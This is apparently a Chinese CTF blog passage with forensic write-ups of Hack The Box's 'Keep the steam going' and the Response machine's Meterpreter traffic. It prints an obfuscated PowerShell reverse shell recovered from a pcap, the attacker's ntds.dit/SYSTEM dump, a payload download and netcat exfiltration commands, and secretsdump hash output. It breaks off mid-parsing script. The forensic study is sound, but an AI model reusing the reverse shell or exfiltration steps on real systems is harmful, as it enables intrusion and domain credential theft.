本文记录 Hack The Box 取证挑战《Keep the steam going》的解题过程。



#### 分析pcap数据包

使用"tcp.stream eq 20"在wireshark中过滤数据包，发现一个powershell写的reverse shell，并且混淆过

``` bash
sv ('8mxc'+'p')  ([tyPe]("{1}{0}{2}" -f 't.encOdi','tex','nG') ) ;${ClI`E`Nt} = &("{1}{0}{2}"-f 'je','New-Ob','ct') ("{5}{0}{8}{1}{2}{3}{4}{6}{7}" -f'y','m','.Net.So','ckets.T','C','S','PC','lient','ste')(("{0}{1}{2}" -f '192.168','.1','.9'),4443);${sT`Re`Am} = ${C`L`IeNT}.("{0}{2}{1}"-f'Ge','tream','tS').Invoke();[byte[]]${By`T`es} = 0..65535|.('%'){0};while((${i} = ${str`EaM}.("{0}{1}" -f'Re','ad').Invoke(${bY`Tes}, 0, ${by`TEs}."Len`G`TH")) -ne 0){;${d`AtA} = (.("{2}{1}{0}"-f '-Object','w','Ne') -TypeName ("{0}{3}{5}{1}{4}{2}" -f'Syst','ASCI','g','em.Text','IEncodin','.'))."gETSt`R`i`Ng"(${by`TES},0, ${i});${SeN`DBacK} = (.("{0}{1}"-f 'ie','x') ${Da`Ta} 2>&1 | &("{0}{2}{1}"-f'Out-','ing','Str') );${SENdb`AC`k2} = ${s`eNDb`ACK} + "PS " + (.("{1}{0}"-f'd','pw'))."P`ATH" + "> ";${sE`NDBYtE} = (  (  vaRIaBle ('8MXC'+'P')  -ValUe  )::"ASC`Ii").("{2}{1}{0}"-f'es','tByt','Ge').Invoke(${SENdB`AC`K2});${sT`REAM}.("{0}{1}" -f'Writ','e').Invoke(${S`e`NdbY`Te},0,${SE`NDbyTe}."lENG`TH");${S`TR`eAM}.("{1}{0}" -f 'h','Flus').Invoke()};${clIE`Nt}.("{0}{1}"-f 'Cl','ose').Invoke()
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-winrm-traffic.png)

使用"tcp.stream eq 21"在wireshark中过滤数据包，发现攻击者以smith用户获取reverse shell后，执行命令dump ntds.dit和SYSTEM hive文件

``` bash
PS C:\> whoami;hostname
corp\asmith
corp-dc
PS C:\> ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
Creating snapshot...
Snapshot set {7f610e6f-46fe-4e74-9cc9-baa92f19f67a} generated successfully.
Snapshot {710fb56f-b795-44ef-b88a-d25aa3026d36} mounted as C:\$SNAP_202111051500_VOLUMEC$\
Snapshot {710fb56f-b795-44ef-b88a-d25aa3026d36} is already mounted.
Initiating DEFRAGMENTATION mode...
     Source Database: C:\$SNAP_202111051500_VOLUMEC$\Windows\NTDS\ntds.dit
     Target Database: c:\temp\Active Directory\ntds.dit

                  Defragmentation  Status (omplete)

          0    10   20   30   40   50   60   70   80   90  100
          |----|----|----|----|----|----|----|----|----|----|
          ...................................................

Copying registry files...
Copying c:\temp\registry\SYSTEM
Copying c:\temp\registry\SECURITY
Snapshot {710fb56f-b795-44ef-b88a-d25aa3026d36} unmounted.
IFM media created successfully in c:\temp
ifm: q
C:\Windows\system32\ntdsutil.exe: q
PS C:\> iex (New-Object System.Net.WebClient).DownloadFile("http://192.168.1.9/n.exe","C:\Users\Public\Music\n.exe")
PS C:\> certutil -encode "C:\temp\Active Directory\ntds.dit" "C:\temp\ntds.b64"
Input Length = 33554432
Output Length = 46137402
CertUtil: -encode command completed successfully.
PS C:\> certutil -encode "C:\temp\REGISTRY\SYSTEM" "C:\temp\system.b64"
Input Length = 15204352
Output Length = 20906044
CertUtil: -encode command completed successfully.
PS C:\> cat C:\temp\ntds.b64 | C:\Users\Public\Music\n.exe 192.168.1.9 8080
PS C:\> cat C:\temp\system.b64 | C:\Users\Public\Music\n.exe 192.168.1.9 8080
PS C:\> 
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-winrm-traffic1.png)

使用"tcp.stream eq 23"在wireshark中过滤数据包，发现攻击者使用netcat传输ntds.dit文件，并且经过了base64加密

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-winrm-traffic2.png)

保存为ntds.dit.b64，并去掉开头的"-----BEGIN CERTIFICATE-----"和结尾的"-----END CERTIFICATE-----",然后使用下列命令解密还原为原文件

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-winrm-traffic3.png)

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# base64 --decode ntds.dit.b64 > ntds.dit
                                                                                                                                    
┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# file ntds.dit     
ntds.dit: Extensible storage engine DataBase, version 0x620, checksum 0xe3a0f73e, page size 8192, Windows version 10.0
```

使用"tcp.stream eq 24"在wireshark中过滤数据包，发现攻击者使用netcat传输system.hive文件，并且经过了base64加密

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-winrm-traffic4.png)

保存为system.b64，并去掉开头的"-----BEGIN CERTIFICATE-----"和结尾的"-----END CERTIFICATE-----",然后使用下列命令解密还原为原文件

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-winrm-traffic5.png)

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# base64 --decode system.b64 > system.hive
                                                                                                                                    
┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# file system.hive 
system.hive: MS Windows registry file, NT/2000 or above
```

#### dump NTLM Hashes

显然，ntds.dit和system.hive中都包含大量信息，所以决定把重点放在如果同时利用这两个文件，看看能得到什么。发现为了为域用户提取NTLM hash，从系统中获取这些文件是一种相当常见的策略。Impacket有一个名为secretsdump.py的脚本可以自动提取这些哈希值; Kali Linux已经有了这个脚本，但也可以从github直接下载它

 - [secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py)

dump hash的实际命令相对简单，就像解析results的过程一样:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# secretsdump.py -ntds ntds.dit -system system.hive LOCAL
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x406124541b22fb571fb552e27e956557
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 9da98598be012bc4a476100a50a63409
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8bb1f8635e5708eb95aedf142054fc95:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
CORP-DC$:1000:aad3b435b51404eeaad3b435b51404ee:94d5e7460c75a0b30d85744f633a0e66:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9555398600e2b2edf220d06a7c564e6f:::
CORP.local\fcastle:1103:aad3b435b51404eeaad3b435b51404ee:37fbc1731f66ad4e524160a732410f9d:::
CORP.local\jdoe:1104:aad3b435b51404eeaad3b435b51404ee:37fbc1731f66ad4e524160a732410f9d:::
WS01$:1105:aad3b435b51404eeaad3b435b51404ee:cd9c49cc4a1a535d27b64ab23d58f3e6:::
WS02$:1106:aad3b435b51404eeaad3b435b51404ee:98c3974cacc09721a351361504de4de5:::
CORP.local\asmith:1109:aad3b435b51404eeaad3b435b51404ee:acbfc03df96e93cf7294a01a6abbda33:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:6e5d1ccb7642b4bf855975702699f733034916dbd04bf4acddc36ac273b3f578
Administrator:aes128-cts-hmac-sha1-96:8d5709c4a7cab2e0f5fbb4a069b283fb
Administrator:des-cbc-md5:e302c7793b58ae97
CORP-DC$:aes256-cts-hmac-sha1-96:9c888129432a87257f81f6bb6affd91bc3b0ba9cf20e94ef9216364d79aab5bd
CORP-DC$:aes128-cts-hmac-sha1-96:0ac3c714050469724e5c41d21f7f86d3
CORP-DC$:des-cbc-md5:57497ce6972613da
krbtgt:aes256-cts-hmac-sha1-96:85c670ece27dad635c28630454154bb325b644b8f61d44f802b80c39277f529e
krbtgt:aes128-cts-hmac-sha1-96:15bfbb6b827c1904e49d77bf7624c2f4
krbtgt:des-cbc-md5:a2074373b920515d
CORP.local\fcastle:aes256-cts-hmac-sha1-96:c6319d38d781e145161c4b1a4ef11d08ad9be36c43b173b355f78c2cf2edf15a
CORP.local\fcastle:aes128-cts-hmac-sha1-96:144565c25d70678535b2908983d74f6e
CORP.local\fcastle:des-cbc-md5:6b0b2f01a731a78f
CORP.local\jdoe:aes256-cts-hmac-sha1-96:9d74074381d0000525c1cfbb24c2943e28bf415b89c8cf958eae5add39614ac8
CORP.local\jdoe:aes128-cts-hmac-sha1-96:7e0fb5fa7dcfa50ea0a8a55e08b63f74
CORP.local\jdoe:des-cbc-md5:610e67019e9b68ab
WS01$:aes256-cts-hmac-sha1-96:ccc215ff3ac06dc3e206f6e55cd1512f3bb00311d02c77591f3cb08e01d5a40f
WS01$:aes128-cts-hmac-sha1-96:5e94401d7da953a13d42809340ff6ec3
WS01$:des-cbc-md5:9885ea642f268ab3
WS02$:aes256-cts-hmac-sha1-96:dc3f081be6c29532904a073124a0998d857667cc5c531fcbe0f6d3e46d40eac2
WS02$:aes128-cts-hmac-sha1-96:7e494ea36b4fb80670f807a8c72e7b3d
WS02$:des-cbc-md5:b58a08dc9eabbc0d
CORP.local\asmith:aes256-cts-hmac-sha1-96:57e22c0b740ed35935f82a6e34ab84a683437105a4ab2f1f3ba70962d5c53112
CORP.local\asmith:aes128-cts-hmac-sha1-96:392a638579d925cca9e4ef7965b9dcdd
CORP.local\asmith:des-cbc-md5:839bd6e9380e40f7
[*] Cleaning up...
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-winrm-traffic6.png)

#### 解密winrm流量

当在base64编码的SYSTEM hive通过端口8080完成传输后立即查看流量时，可以看到加密的winrm流量，可以通过解密winrm流量来查看最后的flag。

``` bash
tcp.stream eq 25
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-winrm-traffic7.png)

网上找到了一个据称可以解密winrm 流量的脚本，给出了密码的NTLM HASH，就现在来说，似乎很完美。然而，当试图运行脚本时，失败了。最终，问题似乎归结为未能将pcap捕获数据正确解析为字节。

 - [file-winrm_decrypt-py](https://gist.github.com/jborean93/d6ff5e87f8a9f5cb215cd49826523045#file-winrm_decrypt-py)

后面对第208行进行调整，向其中添加了"include_raw=True, use_json=True"，以及第248行，其中"file_data = cap.http.file_data.binary_value"修改为"file_data = cap.http.file_data_raw[0].binary_value"。下面是修改后的版本的github仓库地址:

 - [decrypt-winrm](https://github.com/h4sh5/decrypt-winrm)

#### 解密winrm流量并获取最后的flag

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# python3 /root/decrypt-winrm/winrm_decrypt.py -n 8bb1f8635e5708eb95aedf142054fc95 capture.pcap
unwrap_initiate
No: 21358 | Time: 2021-11-05T07:04:51.144128 | Source: 192.168.1.9 | Destination: 192.168.1.10
<?xml version="1.0" ?>
<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:env="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:b="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:x="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:cfg="http://schemas.microsoft.com/wbem/wsman/1/config">
        <env:Header>
                <a:To>http://192.168.1.10:5985/wsman</a:To>
                <a:ReplyTo>
                        <a:Address mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
                </a:ReplyTo>
                <w:MaxEnvelopeSize mustUnderstand="true">153600</w:MaxEnvelopeSize>
                <a:MessageID>uuid:2E1BED84-B255-4285-9F46-23B3140DEC55</a:MessageID>
                <p:SessionId mustUnderstand="false">uuid:0203E06F-B136-4239-AC80-80F196C3E994</p:SessionId>
                <w:Locale xml:lang="en-US" mustUnderstand="false"/>
                <p:DataLocale xml:lang="en-US" mustUnderstand="false"/>
                <w:OperationTimeout>PT60S</w:OperationTimeout>
                <w:ResourceURI mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/config</w:ResourceURI>
                <a:Action mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</a:Action>
        </env:Header>
        <env:Body/>
</env:Envelope>


unwrap_accept
No: 21360 | Time: 2021-11-05T07:04:51.150923 | Source: 192.168.1.10 | Destination: 192.168.1.9
<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:x="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xml:lang="en-US">
        <s:Header>
                <a:Action>http://schemas.xmlsoap.org/ws/2004/09/transfer/GetResponse</a:Action>
                <a:MessageID>uuid:7201F456-9480-4BDD-9CDE-993F1B5397D0</a:MessageID>
                <a:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:To>
                <a:RelatesTo>uuid:2E1BED84-B255-4285-9F46-23B3140DEC55</a:RelatesTo>
        </s:Header>
        <s:Body>
                <cfg:Config xmlns:cfg="http://schemas.microsoft.com/wbem/wsman/1/config">
                        <cfg:MaxEnvelopeSizekb>500</cfg:MaxEnvelopeSizekb>
                        <cfg:MaxTimeoutms>60000</cfg:MaxTimeoutms>
                        <cfg:MaxBatchItems>32000</cfg:MaxBatchItems>
                        <cfg:MaxProviderRequests>4294967295</cfg:MaxProviderRequests>
                        <cfg:Client>
                                <cfg:NetworkDelayms>5000</cfg:NetworkDelayms>
                                <cfg:URLPrefix>wsman</cfg:URLPrefix>
                                <cfg:AllowUnencrypted>false</cfg:AllowUnencrypted>
                                <cfg:Auth>
                                        <cfg:Basic>true</cfg:Basic>
                                        <cfg:Digest>true</cfg:Digest>
                                        <cfg:Kerberos>true</cfg:Kerberos>
                                        <cfg:Negotiate>true</cfg:Negotiate>
                                        <cfg:Certificate>true</cfg:Certificate>
                                        <cfg:CredSSP>false</cfg:CredSSP>
                                </cfg:Auth>
                                <cfg:DefaultPorts>
                                        <cfg:HTTP>5985</cfg:HTTP>
                                        <cfg:HTTPS>5986</cfg:HTTPS>
                                </cfg:DefaultPorts>
                                <cfg:TrustedHosts/>
                        </cfg:Client>
                        <cfg:Service>
                                <cfg:RootSDDL>O:NSG:BAD:P(A;;GA;;;BA)(A;;GR;;;IU)S:P(AU;FA;GA;;;WD)(AU;SA;GXGW;;;WD)</cfg:RootSDDL>
                                <cfg:MaxConcurrentOperations>4294967295</cfg:MaxConcurrentOperations>
                                <cfg:MaxConcurrentOperationsPerUser>1500</cfg:MaxConcurrentOperationsPerUser>
                                <cfg:EnumerationTimeoutms>240000</cfg:EnumerationTimeoutms>
                                <cfg:MaxConnections>300</cfg:MaxConnections>
                                <cfg:MaxPacketRetrievalTimeSeconds>120</cfg:MaxPacketRetrievalTimeSeconds>
                                <cfg:AllowUnencrypted>false</cfg:AllowUnencrypted>
                                <cfg:Auth>
                                        <cfg:Basic>false</cfg:Basic>
                                        <cfg:Kerberos>true</cfg:Kerberos>
                                        <cfg:Negotiate>true</cfg:Negotiate>
                                        <cfg:Certificate>false</cfg:Certificate>
                                        <cfg:CredSSP>false</cfg:CredSSP>
                                        <cfg:CbtHardeningLevel>Relaxed</cfg:CbtHardeningLevel>
                                </cfg:Auth>
                                <cfg:DefaultPorts>
                                        <cfg:HTTP>5985</cfg:HTTP>
                                        <cfg:HTTPS>5986</cfg:HTTPS>
                                </cfg:DefaultPorts>
                                <cfg:IPv4Filter>*</cfg:IPv4Filter>
                                <cfg:IPv6Filter>*</cfg:IPv6Filter>
                                <cfg:EnableCompatibilityHttpListener>false</cfg:EnableCompatibilityHttpListener>
                                <cfg:EnableCompatibilityHttpsListener>false</cfg:EnableCompatibilityHttpsListener>
                                <cfg:CertificateThumbprint/>
                                <cfg:AllowRemoteAccess>true</cfg:AllowRemoteAccess>
                        </cfg:Service>
                        <cfg:Winrs>
                                <cfg:AllowRemoteShellAccess>true</cfg:AllowRemoteShellAccess>
                                <cfg:IdleTimeout>7200000</cfg:IdleTimeout>
                                <cfg:MaxConcurrentUsers>2147483647</cfg:MaxConcurrentUsers>
                                <cfg:MaxShellRunTime>2147483647</cfg:MaxShellRunTime>
                                <cfg:MaxProcessesPerShell>2147483647</cfg:MaxProcessesPerShell>
                                <cfg:MaxMemoryPerShellMB>2147483647</cfg:MaxMemoryPerShellMB>
                                <cfg:MaxShellsPerUser>2147483647</cfg:MaxShellsPerUser>
                        </cfg:Winrs>
                </cfg:Config>
        </s:Body>
</s:Envelope>

......more......
```

获取最终flag，winrm流量解密成功：

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# echo "aHTB{" | base64                                                                                     
YUhUQnsK
                                                                                                                                          
┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# python3 /root/decrypt-winrm/winrm_decrypt.py -n 8bb1f8635e5708eb95aedf142054fc95 capture.pcap | grep hUQn    
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
                        <rsp:Stream Name="stdout" CommandId="8937D38B-70EB-44FB-84C5-DB5752DA7E67">AAAAAAAAABoAAAAAAAAAAAMAAABeAQAAAAQQBACzrAetdF3OT7duxmQ4O6Yxi9M3ietw+0SExdtXUtp+Z++7vzxTPkhUQntuMHRoMW5nXzFzX3RydTNfM3Yzcnl0aDFuZ18xc19kM2NyeXB0M2R9PC9TPg==</rsp:Stream>
unwrap_initiate
unwrap_accept
unwrap_initiate
unwrap_accept
unwrap_initiate
┌──(root💀kali)-[~/hackthebox/challenge/forensics/forensics_keep_the_steam]
└─# echo AAAAAAAAABoAAAAAAAAAAAMAAABeAQAAAAQQBACzrAetdF3OT7duxmQ4O6Yxi9M3ietw+0SExdtXUtp+Z++7vzxTPkhUQntuMHRoMW5nXzFzX3RydTNfM3Yzcnl0aDFuZ18xc19kM2NyeXB0M2R9PC9TPg== | base64 -d
▒^���t]�O�n�d8;�1��7��p�D���WR�~g<S>HTB{n0th1ng_1s_tru3_3v3ryth1ng_1s_d3crypt3d}</S>
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-winrm-traffic8.png)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/decrypt-winrm-traffic9.png)

<!-- kb:end decrypt-winrm-traffic -->

</details>

<a id="case-msf-meterpreter-traffic-decrypt"></a>

## Meterpreter TLV 与破损 RSA 材料

分析拆开 XOR 头部与加密 TLV，借助内存确认 AES 密钥；另一分支从残缺 Base64 和 RSA 参数恢复私钥。两个过程的解析脚本完整保留。

<p class="kb-provenance">来源 msf-meterpreter-traffic-decrypt · 原记录 2023-02-07 · 46 个代码块 · 11 处图片引用</p>

<details class="kb-evidence" id="record-msf-meterpreter-traffic-decrypt">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start msf-meterpreter-traffic-decrypt -->

#### 简述

这两个部分是insane难度的HTB Response机器的root部分，其中msf meterpreter流量解密是此box的特色，和最难的部分，为了blog美观。所以顺带把破碎ssh key 复原的部分也加进来了，主要参考[HTB response writeup from 0xdf's blog](https://0xdf.gitlab.io/2023/02/04/htb-response.html)记录这篇博客加深记忆和理解，及供后续时间充足在做深入研究查阅，备忘。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/response.png)



#### Msf Meterpreter 流量解密
#### incident_2020-3-042

通过之前的渗透以scryh用户登录ssh之后，现在可以访问incident_2020-3-042文件夹。它有三个文件:

``` bash
scryh@response:~/incident_2022-3-042$ file *
core.auto_update: ELF 64-bit LSB core file, x86-64, version 1 (SYSV), SVR4-style, from './auto_update', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: './auto_update', platform: 'x86_64'
dump.pcap:        pcap capture file, microsecond ts (little-endian) - version 2.4 (Linux cooked v1, capture length 262144)
IR_report.pdf:    PDF document, version 1.4
```

一个core dump，一个PCAP和一个PDF。用scp抓取这三个文件到本地

``` bash
scp -i scryh_id_rsa scryh@response.htb:~/incident_2022-3-042/* .
```

IR_report.pdf 是一个事件的单页摘要:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/response1.png)

看起来像是有人访问了聊天应用程序，让管理员下载了一个链接并执行meterpreter payload，导出了一个zip存档。core dump中有恶意软件被kill之前的内存，而PCAP包中有记录网络流量。

#### dump.pcap

通过分析pcap流量包，发现在(TCP stream 96) 一个ELF文件auto_update从攻击者方被下载:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/response2.png)

下一个流量(97)是返回到攻击者4444上的连接，该连接是加密的。

#### Binary分析

通过"导出对象" > “HTTP…”从Wireshark下载一份ELF的副本:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/response3.png)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/response]
└─# file auto_update    
auto_update: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, with debug_info, not stripped
                                                                                                                                                    
┌──(root💀kali)-[~/hackthebox/machine/response]
└─# strings -n 10 auto_update
...snip...
  -u, --uri <uri>        add connection URI
  -U, --uuid <uuid>      set the UUID (base64)
  -d, --debug <level>    enable debug output (set to 0 to disable)
  -o, --out <file>       write debug output to a file
  -b, --background <0|1> start as a background service (0 disable, 1 enable)
  -p, --persist [none|install|uninstall] manage persistence
  -m, --modules <path>   add modules from path
  -n, --name <name>      name to start as
  -l, --listen
  -c, --console
hu:U:G:d:o:b:p:n:lcm:
using name: %s
/mettle/mettle/src/main.c
session-guid
background
default_opts
could not initialize
/mettle/mettle/src/mettle.c
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/://
?application/octet-stream
Connection: close
/mettle/mettle/src/c2_http.c
referer: %s
cookie: %s
header: %s
?channel-req-%d
could not find handlers for channel type %s
/mettle/mettle/src/channel.c
No extension received
/mettle/mettle/src/coreapi.c
No extension name specified
Loading extension '%s' from binary image
Failed to allocate memory for '%s' binary image
...snip...
```

帮助菜单很有趣，但出现了几次的术语"mettle"也很有趣。[Mettle](https://github.com/rapid7/mettle)是Meterpreter的一部分，具体来说:

***这是native-code Meterpreter的实现，设计用于可移植性、可嵌入性和低资源利用率。它可以运行在最小的嵌入式Linux上，目标是大铁，目标是Android、iOS、macOS、Linux和Windows，但可以移植到几乎任何posix兼容的环境。***

在[VirusTotal](https://www.virustotal.com/gui/file/aff947cea72ab6296416080041753af79fa0684e3621281f537ce5f046db39d3)中搜索哈希显示这个ELF已经上传，签名显示它是Meterpreter:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/response4.png)

#### Meterpreter 数据包结构

找到一些关于meterpreter在wire上使用的协议的资料。它是一种[type-length-value协议](https://en.wikipedia.org/wiki/Type%E2%80%93length%E2%80%93value)(实际上更像LTV)，有一个header，数据包是加密的，还有一个IV。

 - [This pull request](https://github.com/rapid7/metasploit-framework/pull/8625)讨论了2017年协议的变化，并对"新"(当前)版本进行了一些不错的描述。
 - [This documentation from Rapid7](https://www.rubydoc.info/github/rapid7/metasploit-framework/Rex/Post/Meterpreter/Packet)的文档显示了数据包对象及其字段。

每个数据包以一个应用于数据包其余部分的四字节XOR键开始。header的其余部分是session GUID，加密标志，数据包长度和数据包类型:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/response5.png)

数据包长度是指从起始点到结束点的长度。

如果报文没有加密，则启动TLV报文。如果它是加密的，剩下的包有一个16字节的AES IV，一旦解密，结果就是TLV包。

#### Video

推荐观看0xdf的youtube视频[Decrypting Meterpreter Traffic in PCAP (with coredump)](https://youtu.be/-RlZCTYcgvk)，解密python脚本写的很丝滑

#### 解析外层数据流

使用tshark将meterpreter TCP流量拉到文件msf.pcap中:

``` bash
tshark -q -r dump.pcap -Y tcp.stream==97 -w msf.pcap
```

现在使用Python / Scapy来解析pcap。从数据流的角度来考虑，而不是数据包，所以将从将所有数据放入一个流开始。这里有一些风险，将攻击者和受害者的流量结合在一起。

``` python
# pull all bytes into a stream
pcap = rdpcap("./msf.pcap")
stream = b"".join([bytes(packet[TCP].payload) for packet in pcap if TCP in packet])
```

现在我将从0开始处理数据流。需要一个快速XOR的函数，以及一个字典来跟踪加密类型:

``` bash
enc_types = {0: "None", 1: "AES256", 2: "AES128"}

def xor(buf, key):
    return bytes([x ^ key[i % len(key)] for i, x in enumerate(buf)])
```

现在循环，将前32个字节作为头文件，并解析它:

``` bash
i = 0
while i < len(stream):
    xor_head = stream[i:i+32]
    xor_key = xor_head[:4]
    head = xor(xor_head, xor_key)
    session_guid = head[4:20]
    enc_flag = int.from_bytes(head[20:24], "big")
    packet_len = int.from_bytes(head[24:28], "big")
    packet_type = int.from_bytes(head[28:32], "big")

    print(f"Packet: type={packet_type:<4} len={packet_len:<8} enc={enc_types[enc_flag]} sess={uuid.UUID(bytes=session_guid)}")
    i += 24 + packet_len
```

我将获得XOR key，然后将其应用到整个头部。然后我可以获得会话、加密标志、数据包长度和类型。打印这些，看看它们是否有意义:

``` bash
kali@hacky# python -i parse_msf.py 
Packet: type=0    len=363      enc=None sess=00000000-0000-0000-0000-000000000000
Packet: type=1    len=373      enc=None sess=00000000-0000-0000-0000-000000000000
Packet: type=0    len=88       enc=AES256 sess=00000000-0000-0000-0000-000000000000
Packet: type=1    len=168      enc=AES256 sess=00000000-0000-0000-0000-000000000000
Packet: type=0    len=104      enc=AES256 sess=00000000-0000-0000-0000-000000000000
Packet: type=1    len=120      enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
Packet: type=0    len=104      enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
Packet: type=1    len=648      enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
Packet: type=0    len=88       enc=AES256 sess=6b2f41af-eb74-454f-9606-77b703dab297
...[snip]...
```

它开始时没有session id，也没有加密，然后开始加密，然后生成session id。类型0看起来像是攻击者传给受害者的数据，而类型1看起来像是受害者传给攻击者的数据。这与[mettle source](https://github.com/rapid7/mettle/blob/52de3c892701e0101746b46ee8b47b76cde8d2d4/mettle/src/tlv_types.h#L10-L11)中的常数相匹配:

``` bash
#define TLV_PACKET_TYPE_REQUEST  0
#define TLV_PACKET_TYPE_RESPONSE 1
```

在脚本顶部添加 packet_types = {0: "Req"， 1: "Resp"}，并将输出更改为显示字符串名称而不是数字。

#### 解析未加密的TLVs数据流

在前面的步骤中，跳过数据包中的所有数据。要解析加密数据包，需要AES密钥。但现在可以处理未加密的数据包了。
在打印数据包信息之后，在I增加之前，将添加:

``` bash
...[snip]...
   print(f"Packet: type={packet_types[packet_type]:<4} len={packet_len:<8} enc={enc_types[enc_flag]} sess={uuid.UUID(bytes=session_guid)}")

    tlv_data = xor(stream[i+32:i+packet_len+24], xor_key)
    if enc_flag == 1:
        aes_iv = tlv_data[:16]
        tlv_data = tlv_data[16:]
        # future decrypt here

    j = 0
    # skip encrypted for now
    while j < len(tlv_data) and enc_flag == 0:
        l = int.from_bytes(tlv_data[j:j+4], 'big')
        t = int.from_bytes(tlv_data[j+4:j+8], 'big')
        v = tlv_data[j+8:j+l]
        print(f"TLV l={l:<8} t=0x{t:<6x} v={v if len(v) <= 26 else v[:26]}")
        j += l
    
    i += 24 + packet_len
```

这将获得TLV数据，并对其进行xor。然后，如果数据包是加密的，它pulls IV并向前移动。现在它会遍历数据，但如果数据被加密就会break。下面输出了前两个包发送的消息:

``` bash
kali@hacky$ python parse_msf.py 
